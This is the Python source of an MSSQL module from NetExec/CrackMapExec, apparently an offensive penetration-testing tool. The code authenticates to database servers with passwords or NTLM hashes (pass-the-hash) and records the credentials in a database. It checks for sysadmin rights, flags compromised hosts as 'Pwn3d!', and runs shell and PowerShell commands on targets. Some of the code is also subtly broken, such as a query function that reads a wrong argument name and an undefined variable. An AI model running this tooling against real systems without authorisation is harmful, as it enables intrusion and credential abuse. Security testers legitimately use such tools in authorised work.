NetExec/cme/protocols/mssql.py

245 lines
10 KiB
Python
Executable File

import socket
import logging
from cme.logger import CMEAdapter
from StringIO import StringIO
from cme.protocols.mssql.mssqlexec import MSSQLEXEC
from cme.connection import *
from cme.helpers.logger import highlight
from cme.helpers.powershell import create_ps_command
from impacket import tds
from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \
TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE
class mssql(connection):
def __init__(self, args, db, host):
self.mssql_instances = None
self.domain = None
self.hash = None
connection.__init__(self, args, db , host)
@staticmethod
def proto_args(parser, std_parser, module_parser):
mssql_parser = parser.add_parser('mssql', help="own stuff using MSSQL and/or Active Directory", parents=[std_parser, module_parser])
dgroup = mssql_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain name")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
mssql_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
mssql_parser.add_argument("--port", default=1433, type=int, dest='mssql_port', metavar='PORT', help='MSSQL port (default: 1433)')
mssql_parser.add_argument("-q", "--query", metavar='QUERY', type=str, help='execute the specified query against the MSSQL DB')
mssql_parser.add_argument("-a", "--auth-type", dest='mssql_auth', choices={'windows', 'normal'}, default='windows', help='MSSQL authentication type to use (default: windows)')
cgroup = mssql_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process')
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
xgroup = cgroup.add_mutually_exclusive_group()
xgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
xgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')
return parser
def proto_logger(self):
self.logger = CMEAdapter(extra={
'protocol': 'MSSQL',
'host': self.host,
'port': self.args.mssql_port,
'hostname': u'{}'.format(self.hostname)
})
def enum_host_info(self):
self.mssql_instances = self.conn.getInstances(10)
if len(self.mssql_instances) > 0:
for i, instance in enumerate(self.mssql_instances):
for key in instance.keys():
if key.lower() == 'servername':
self.hostname = instance[key]
break
try:
self.conn.disconnect()
except:
pass
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.create_conn_obj()
def print_host_info(self):
if len(self.mssql_instances) > 0:
self.logger.info("MSSQL DB Instances: {}".format(len(self.mssql_instances)))
for i, instance in enumerate(self.mssql_instances):
self.logger.highlight("Instance {}".format(i))
for key in instance.keys():
self.logger.highlight(key + ":" + instance[key])
def create_conn_obj(self):
try:
self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
self.conn.connect()
except socket.error:
return False
return True
def check_if_admin(self):
try:
#I'm pretty sure there has to be a better way of doing this.
#Currently we are just searching for our user in the sysadmin group
self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
query_output = self.conn.printRows()
if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
self.admin_privs = True
except:
return False
return True
def plaintext_login(self, domain, username, password):
res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False)
if res is not True:
self.conn.printReplies()
return False
self.password = password
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('plaintext', domain, username, password)
if self.admin_privs:
self.db.link_cred_to_host('plaintext', domain, username, password, self.host)
out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
password.decode('utf-8'),
highlight('(Pwn3d!)') if self.admin_privs else '')
self.logger.success(out)
return True
def hash_login(self, domain, username, ntlm_hash):
lmhash = ''
nthash = ''
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
else:
nthash = ntlm_hash
res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False)
if res is not True:
self.conn.printReplies()
return False
self.hash = ntlm_hash
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('hash', domain, username, ntlm_hash)
if self.admin_privs:
self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)
out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
ntlm_hash,
highlight('(Pwn3d!)') if self.admin_privs else '')
self.logger.success(out)
return True
def mssql_query(self):
self.conn.sql_query(self.args.mssql_query)
return conn.printRows()
@requires_admin
def execute(self, payload=None, get_output=False):
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output: get_output = True
exec_method = MSSQLEXEC(self.conn)
logging.debug('Executed command via mssqlexec')
if self.cmeserver: self.cmeserver.track_host(self.host)
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
if self.args.execute or self.args.ps_execute:
self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
buf = StringIO(output).readlines()
for line in buf:
self.logger.highlight(line.strip())
return output
@requires_admin
def ps_execute(self, payload=None, get_output=False):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output: get_output = True
return self.execute(create_ps_command(payload), get_output)
#We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
#The whole tds library in impacket needs a good overhaul to preserve my sanity
def printRowsCME(self):
if self.lastError is True:
return
out = ''
self.processColMeta()
#self.printColumnsHeader()
for row in self.rows:
for col in self.colMeta:
if row[col['Name']] != 'NULL':
out += col['Format'] % row[col['Name']] + self.COL_SEPARATOR + '\n'
return out
def printRepliesCME(self):
for keys in self.replies.keys():
for i, key in enumerate(self.replies[keys]):
if key['TokenType'] == TDS_ERROR_TOKEN:
error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))
self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
self._MSSQL__rowsPrinter.error(error)
elif key['TokenType'] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
elif key['TokenType'] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))
elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
record = TDS_ENVCHANGE_VARCHAR(key['Data'])
if record['OldValue'] == '':
record['OldValue'] = 'None'.encode('utf-16le')
elif record['NewValue'] == '':
record['NewValue'] = 'None'.encode('utf-16le')
if key['Type'] == TDS_ENVCHANGE_DATABASE:
_type = 'DATABASE'
elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
_type = 'LANGUAGE'
elif key['Type'] == TDS_ENVCHANGE_CHARSET:
_type = 'CHARSET'
elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
_type = 'PACKETSIZE'
else:
_type = "%d" % key['Type']
self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
tds.MSSQL.printReplies = printRepliesCME
tds.MSSQL.printRows = printRowsCME